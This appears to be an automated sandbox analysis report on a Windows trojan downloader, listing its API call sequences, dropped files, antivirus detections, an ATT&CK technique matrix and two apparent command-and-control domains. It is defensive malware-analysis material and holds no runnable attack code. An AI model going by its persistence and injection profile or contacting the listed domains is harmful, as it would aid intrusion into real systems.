RegCloseKey,ExpandEnvironmentStringsA,CreateFileA,GetFileTime,CloseHandle,GetSystemDirectoryA,lstrcatA,lstrcatA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,CreateFileA,SetFilePointer,WriteFile,CloseHandle,CreateFileA,SetFileTime,CloseHandle,SetFileAttributesA,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,CreateFileA,GetFileSize,ReadFile,CloseHandle,CreateThread,CloseHandle,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegDeleteValueA,lstrlenA,RegSetValueExA,RegCloseKey,GetComputerNameA,lstrcpyA,lstrcpyA,lstrcatA,lstrlenA,wsprintfA,lstrcpyA,lstrcatA,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegSetValueExA,lstrlenA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegDeleteValueA,RegCloseKey,lstrcmpiA,lstrcmpiA,SetFileAttributesA,DeleteFileA,CreateFileA,GetFileSize,CloseHandle,ReadFile,lstrcpyA,lstrcpyA,ExpandEnvironmentStringsA,GetTempFileNameA,CreateFileA,GetTempPathA,GetTempFileNameA,CreateFileA,WriteFile,CloseHandle,CreateFileA,GetSystemDirectoryA,lstrcatA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,SetFileTime,CloseHandle,GetLastError,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,CreateFileA,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,CreateFileA,RegOpe	0_2_00403A19
Source: C:\Users\user\Desktop\5SGOAKv7AR.exe	Code function: EntryPoint,GetProcessHeap,GetVersionExA,LoadLibraryA,GetProcAddress,GetModuleFileNameA,GetCommandLineA,CreateToolhelp32Snapshot,GetCurrentProcessId,Process32First,OpenProcess,CloseHandle,Process32Next,WaitForSingleObject,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,RtlAdjustPrivilege,GetProcAddress,GetProcAddress,NtQueryInformationToken,NtQueryInformationToken,CloseHandle,GetProcAddress,GetCurrentProcessId,WSAStartup,GetTickCount,GetCurrentProcessId,GetCurrentThreadId,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateFileA,SetFilePointer,ReadFile,CloseHandle,lstrcmpiA,wsprintfA,CreateMutexA,GetLastError,CreateToolhelp32Snapshot,RegDeleteValueA,RegCloseKey,GetCurrentProcessId,Process32First,lstrcmpiA,OpenProcess,Process32Next,CloseHandle,SetPriorityClass,TerminateProcess,WaitForSingleObject,CloseHandle,SetFileAttributesA,DeleteFileA,RegOpenKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegCloseKey,ExitProcess,CloseHandle,RegCreateKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,ExpandEnvironmentStringsA,CreateFileA,GetFileTime,CloseHandle,GetSystemDirectoryA,lstrcatA,lstrcatA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,CreateFileA,SetFilePointer,WriteFile,CloseHandle,CreateFileA,SetFileTime,CloseHandle,SetFileAttributesA,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,CreateFileA,GetFileSize,ReadFile,CloseHandle,CreateThread,CloseHandle,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegDeleteValueA,lstrlenA,RegSetValueExA,RegCloseKey,GetComputerNameA,lstrcpyA,lstrcpyA,lstrcatA,lstrlenA,wsprintfA,lstrcpyA,lstrcatA,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegSetValueExA,lstrlenA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegDeleteValueA,RegCloseKey,lstrcmpiA,lstrcmpiA,SetFileAttributesA,DeleteFileA,CreateFileA,GetFileSize,CloseHandle,ReadFile,lstrcpyA,lstrcpyA,ExpandEnvironmentStringsA,GetTempFileNameA,CreateFileA,GetTempPathA,GetTempFileNameA,CreateFileA,WriteFile,CloseHandle,CreateFileA,GetSystemDirectoryA,lstrcatA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,SetFileTime,CloseHandle,GetLastError,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,CreateFileA,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,CreateFileA,RegOpe	0_2_00403A19
Source: C:\Users\user\Desktop\5SGOAKv7AR.exe	Code function: EntryPoint,GetProcessHeap,GetVersionExA,LoadLibraryA,GetProcAddress,GetModuleFileNameA,GetCommandLineA,CreateToolhelp32Snapshot,GetCurrentProcessId,Process32First,OpenProcess,CloseHandle,Process32Next,WaitForSingleObject,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,RtlAdjustPrivilege,GetProcAddress,GetProcAddress,NtQueryInformationToken,NtQueryInformationToken,CloseHandle,GetProcAddress,GetCurrentProcessId,WSAStartup,GetTickCount,GetCurrentProcessId,GetCurrentThreadId,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateFileA,SetFilePointer,ReadFile,CloseHandle,lstrcmpiA,wsprintfA,CreateMutexA,GetLastError,CreateToolhelp32Snapshot,RegDeleteValueA,RegCloseKey,GetCurrentProcessId,Process32First,lstrcmpiA,OpenProcess,Process32Next,CloseHandle,SetPriorityClass,TerminateProcess,WaitForSingleObject,CloseHandle,SetFileAttributesA,DeleteFileA,RegOpenKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegCloseKey,ExitProcess,CloseHandle,RegCreateKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,ExpandEnvironmentStringsA,CreateFileA,GetFileTime,CloseHandle,GetSystemDirectoryA,lstrcatA,lstrcatA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,CreateFileA,SetFilePointer,WriteFile,CloseHandle,CreateFileA,SetFileTime,CloseHandle,SetFileAttributesA,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,CreateFileA,GetFileSize,ReadFile,CloseHandle,CreateThread,CloseHandle,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegDeleteValueA,lstrlenA,RegSetValueExA,RegCloseKey,GetComputerNameA,lstrcpyA,lstrcpyA,lstrcatA,lstrlenA,wsprintfA,lstrcpyA,lstrcatA,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegSetValueExA,lstrlenA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegDeleteValueA,RegCloseKey,lstrcmpiA,lstrcmpiA,SetFileAttributesA,DeleteFileA,CreateFileA,GetFileSize,CloseHandle,ReadFile,lstrcpyA,lstrcpyA,ExpandEnvironmentStringsA,GetTempFileNameA,CreateFileA,GetTempPathA,GetTempFileNameA,CreateFileA,WriteFile,CloseHandle,CreateFileA,GetSystemDirectoryA,lstrcatA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,SetFileTime,CloseHandle,GetLastError,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,CreateFileA,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,CreateFileA,RegOpe	0_2_00403A19
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Code function: EntryPoint,GetProcessHeap,GetVersionExA,LoadLibraryA,GetProcAddress,GetModuleFileNameA,GetCommandLineA,CreateToolhelp32Snapshot,GetCurrentProcessId,Process32First,OpenProcess,CloseHandle,Process32Next,WaitForSingleObject,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,RtlAdjustPrivilege,GetProcAddress,GetProcAddress,NtQueryInformationToken,NtQueryInformationToken,CloseHandle,GetProcAddress,GetCurrentProcessId,WSAStartup,GetTickCount,GetCurrentProcessId,GetCurrentThreadId,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateFileA,SetFilePointer,ReadFile,CloseHandle,lstrcmpiA,wsprintfA,CreateMutexA,GetLastError,CreateToolhelp32Snapshot,RegDeleteValueA,RegCloseKey,GetCurrentProcessId,Process32First,lstrcmpiA,OpenProcess,Process32Next,CloseHandle,SetPriorityClass,TerminateProcess,WaitForSingleObject,CloseHandle,SetFileAttributesA,DeleteFileA,RegOpenKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegCloseKey,ExitProcess,CloseHandle,RegCreateKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,ExpandEnvironmentStringsA,CreateFileA,GetFileTime,CloseHandle,GetSystemDirectoryA,lstrcatA,lstrcatA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,CreateFileA,SetFilePointer,WriteFile,CloseHandle,CreateFileA,SetFileTime,CloseHandle,SetFileAttributesA,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,CreateFileA,GetFileSize,ReadFile,CloseHandle,CreateThread,CloseHandle,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegDeleteValueA,lstrlenA,RegSetValueExA,RegCloseKey,GetComputerNameA,lstrcpyA,lstrcpyA,lstrcatA,lstrlenA,wsprintfA,lstrcpyA,lstrcatA,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegSetValueExA,lstrlenA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegDeleteValueA,RegCloseKey,lstrcmpiA,lstrcmpiA,SetFileAttributesA,DeleteFileA,CreateFileA,GetFileSize,CloseHandle,ReadFile,lstrcpyA,lstrcpyA,ExpandEnvironmentStringsA,GetTempFileNameA,CreateFileA,GetTempPathA,GetTempFileNameA,CreateFileA,WriteFile,CloseHandle,CreateFileA,GetSystemDirectoryA,lstrcatA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,SetFileTime,CloseHandle,GetLastError,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,CreateFileA,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,CreateFileA,RegOpe	1_2_00403A19
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Code function: EntryPoint,GetProcessHeap,GetVersionExA,LoadLibraryA,GetProcAddress,GetModuleFileNameA,GetCommandLineA,CreateToolhelp32Snapshot,GetCurrentProcessId,Process32First,OpenProcess,CloseHandle,Process32Next,WaitForSingleObject,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,RtlAdjustPrivilege,GetProcAddress,GetProcAddress,NtQueryInformationToken,NtQueryInformationToken,CloseHandle,GetProcAddress,GetCurrentProcessId,WSAStartup,GetTickCount,GetCurrentProcessId,GetCurrentThreadId,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateFileA,SetFilePointer,ReadFile,CloseHandle,lstrcmpiA,wsprintfA,CreateMutexA,GetLastError,CreateToolhelp32Snapshot,RegDeleteValueA,RegCloseKey,GetCurrentProcessId,Process32First,lstrcmpiA,OpenProcess,Process32Next,CloseHandle,SetPriorityClass,TerminateProcess,WaitForSingleObject,CloseHandle,SetFileAttributesA,DeleteFileA,RegOpenKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegCloseKey,ExitProcess,CloseHandle,RegCreateKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,ExpandEnvironmentStringsA,CreateFileA,GetFileTime,CloseHandle,GetSystemDirectoryA,lstrcatA,lstrcatA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,CreateFileA,SetFilePointer,WriteFile,CloseHandle,CreateFileA,SetFileTime,CloseHandle,SetFileAttributesA,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,CreateFileA,GetFileSize,ReadFile,CloseHandle,CreateThread,CloseHandle,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegDeleteValueA,lstrlenA,RegSetValueExA,RegCloseKey,GetComputerNameA,lstrcpyA,lstrcpyA,lstrcatA,lstrlenA,wsprintfA,lstrcpyA,lstrcatA,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegSetValueExA,lstrlenA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegDeleteValueA,RegCloseKey,lstrcmpiA,lstrcmpiA,SetFileAttributesA,DeleteFileA,CreateFileA,GetFileSize,CloseHandle,ReadFile,lstrcpyA,lstrcpyA,ExpandEnvironmentStringsA,GetTempFileNameA,CreateFileA,GetTempPathA,GetTempFileNameA,CreateFileA,WriteFile,CloseHandle,CreateFileA,GetSystemDirectoryA,lstrcatA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,SetFileTime,CloseHandle,GetLastError,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,CreateFileA,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,CreateFileA,RegOpe	1_2_00403A19
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Code function: EntryPoint,GetProcessHeap,GetVersionExA,LoadLibraryA,GetProcAddress,GetModuleFileNameA,GetCommandLineA,CreateToolhelp32Snapshot,GetCurrentProcessId,Process32First,OpenProcess,CloseHandle,Process32Next,WaitForSingleObject,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CloseHandle,GetProcAddress,GetCurrentProcessId,WSAStartup,GetTickCount,GetCurrentProcessId,GetCurrentThreadId,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateFileA,SetFilePointer,ReadFile,CloseHandle,lstrcmpiA,wsprintfA,CreateMutexA,GetLastError,CreateToolhelp32Snapshot,RegDeleteValueA,RegCloseKey,GetCurrentProcessId,Process32First,lstrcmpiA,OpenProcess,Process32Next,CloseHandle,SetPriorityClass,TerminateProcess,WaitForSingleObject,CloseHandle,SetFileAttributesA,DeleteFileA,RegOpenKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegCloseKey,ExitProcess,CloseHandle,RegCreateKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,ExpandEnvironmentStringsA,CreateFileA,GetFileTime,CloseHandle,GetSystemDirectoryA,lstrcatA,lstrcatA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,CreateFileA,SetFilePointer,WriteFile,CloseHandle,CreateFileA,SetFileTime,CloseHandle,SetFileAttributesA,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,CreateFileA,GetFileSize,ReadFile,CloseHandle,CreateThread,CloseHandle,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegDeleteValueA,lstrlenA,RegSetValueExA,RegCloseKey,GetComputerNameA,lstrcpyA,lstrcpyA,lstrcatA,lstrlenA,wsprintfA,lstrcpyA,lstrcatA,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegSetValueExA,lstrlenA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegDeleteValueA,RegCloseKey,lstrcmpiA,lstrcmpiA,SetFileAttributesA,DeleteFileA,CreateFileA,GetFileSize,CloseHandle,ReadFile,lstrcpyA,lstrcpyA,ExpandEnvironmentStringsA,GetTempFileNameA,CreateFileA,GetTempPathA,GetTempFileNameA,CreateFileA,WriteFile,CloseHandle,CreateFileA,GetSystemDirectoryA,lstrcatA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,SetFileTime,CloseHandle,GetLastError,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,CreateFileA,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,CreateFileA,RegOpenKeyExA,RegOpenKeyExA,lstrlenA,RegSetValueExA,RegCloseKey,RegCreate	3_2_00403A19
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Code function: EntryPoint,GetProcessHeap,GetVersionExA,LoadLibraryA,GetProcAddress,GetModuleFileNameA,GetCommandLineA,CreateToolhelp32Snapshot,GetCurrentProcessId,Process32First,OpenProcess,CloseHandle,Process32Next,WaitForSingleObject,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CloseHandle,GetProcAddress,GetCurrentProcessId,WSAStartup,GetTickCount,GetCurrentProcessId,GetCurrentThreadId,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateFileA,SetFilePointer,ReadFile,CloseHandle,lstrcmpiA,wsprintfA,CreateMutexA,GetLastError,CreateToolhelp32Snapshot,RegDeleteValueA,RegCloseKey,GetCurrentProcessId,Process32First,lstrcmpiA,OpenProcess,Process32Next,CloseHandle,SetPriorityClass,TerminateProcess,WaitForSingleObject,CloseHandle,SetFileAttributesA,DeleteFileA,RegOpenKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegCloseKey,ExitProcess,CloseHandle,RegCreateKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,ExpandEnvironmentStringsA,CreateFileA,GetFileTime,CloseHandle,GetSystemDirectoryA,lstrcatA,lstrcatA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,CreateFileA,SetFilePointer,WriteFile,CloseHandle,CreateFileA,SetFileTime,CloseHandle,SetFileAttributesA,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,CreateFileA,GetFileSize,ReadFile,CloseHandle,CreateThread,CloseHandle,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegDeleteValueA,lstrlenA,RegSetValueExA,RegCloseKey,GetComputerNameA,lstrcpyA,lstrcpyA,lstrcatA,lstrlenA,wsprintfA,lstrcpyA,lstrcatA,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegSetValueExA,lstrlenA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegDeleteValueA,RegCloseKey,lstrcmpiA,lstrcmpiA,SetFileAttributesA,DeleteFileA,CreateFileA,GetFileSize,CloseHandle,ReadFile,lstrcpyA,lstrcpyA,ExpandEnvironmentStringsA,GetTempFileNameA,CreateFileA,GetTempPathA,GetTempFileNameA,CreateFileA,WriteFile,CloseHandle,CreateFileA,GetSystemDirectoryA,lstrcatA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,SetFileTime,CloseHandle,GetLastError,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,CreateFileA,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,CreateFileA,RegOpenKeyExA,RegOpenKeyExA,lstrlenA,RegSetValueExA,RegCloseKey,RegCreate	3_2_00403A19

Source: winlogon.exe, 00000004.00000002.3819098837.000002A6743E0000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000004.00000000.1356063357.000002A6743E1000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000000.1357959345.0000000001311000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: winlogon.exe, 00000004.00000002.3819098837.000002A6743E0000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000004.00000000.1356063357.000002A6743E1000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000003.2213841197.0000000008C36000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: winlogon.exe, 00000004.00000002.3819098837.000002A6743E0000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000004.00000000.1356063357.000002A6743E1000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000000.1357959345.0000000001311000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: winlogon.exe, 00000004.00000002.3819098837.000002A6743E0000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000004.00000000.1356063357.000002A6743E1000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000000.1357959345.0000000001311000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000005.00000002.3817558651.0000000000DA0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1357798276.0000000000DA8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ProgmanDI3

Source: C:\Users\user\Desktop\5SGOAKv7AR.exe

Code function: 0_2_0040355D lstrcpyA,gethostbyname,htons,socket,closesocket,GetIpAddrTable,GetIpAddrTable,wsprintfA,lstrlenA,RasEnumConnectionsA,lstrcmpiA,lstrcmpiA,CreateThread,CloseHandle,GetSystemTimeAsFileTime,RegSetValueExA,RegSetValueExA,Sleep,

0_2_0040355D

Source: C:\Users\user\Desktop\5SGOAKv7AR.exe

0_2_00403A19

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 Registry Run Keys / Startup Folder	312 Process Injection	121 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	21 Virtualization/Sandbox Evasion	LSASS Memory	121 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	312 Process Injection	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	3 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
5SGOAKv7AR.exe	89%	Virustotal		Browse
5SGOAKv7AR.exe	84%	ReversingLabs	Win32.Trojan.ExplorerHijack
5SGOAKv7AR.exe	100%	Avira	TR/Downloader.Gen
5SGOAKv7AR.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Windows\SysWOW64\ehmehut.dll	100%	Avira	TR/Dldr.Agent.swim
C:\Users\user\AppData\Roaming\tmp5C6F.tmp	100%	Avira	TR/Downloader.Gen
C:\Windows\SysWOW64\edsuvoov-usum.exe	100%	Avira	TR/Downloader.Gen
C:\Windows\SysWOW64\edsuvoov-usum.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\osgobah.dll	42%	ReversingLabs	Win32.Trojan.Generic
C:\Windows\SysWOW64\edsuvoov-usum.exe	84%	ReversingLabs	Win32.Trojan.ExplorerHijack
C:\Windows\SysWOW64\ehmehut.dll	34%	ReversingLabs	Win32.Trojan.Wacatac

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
vnsudgrujuqaw.vg	0%	Virustotal		Browse
taiqjio.ws	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
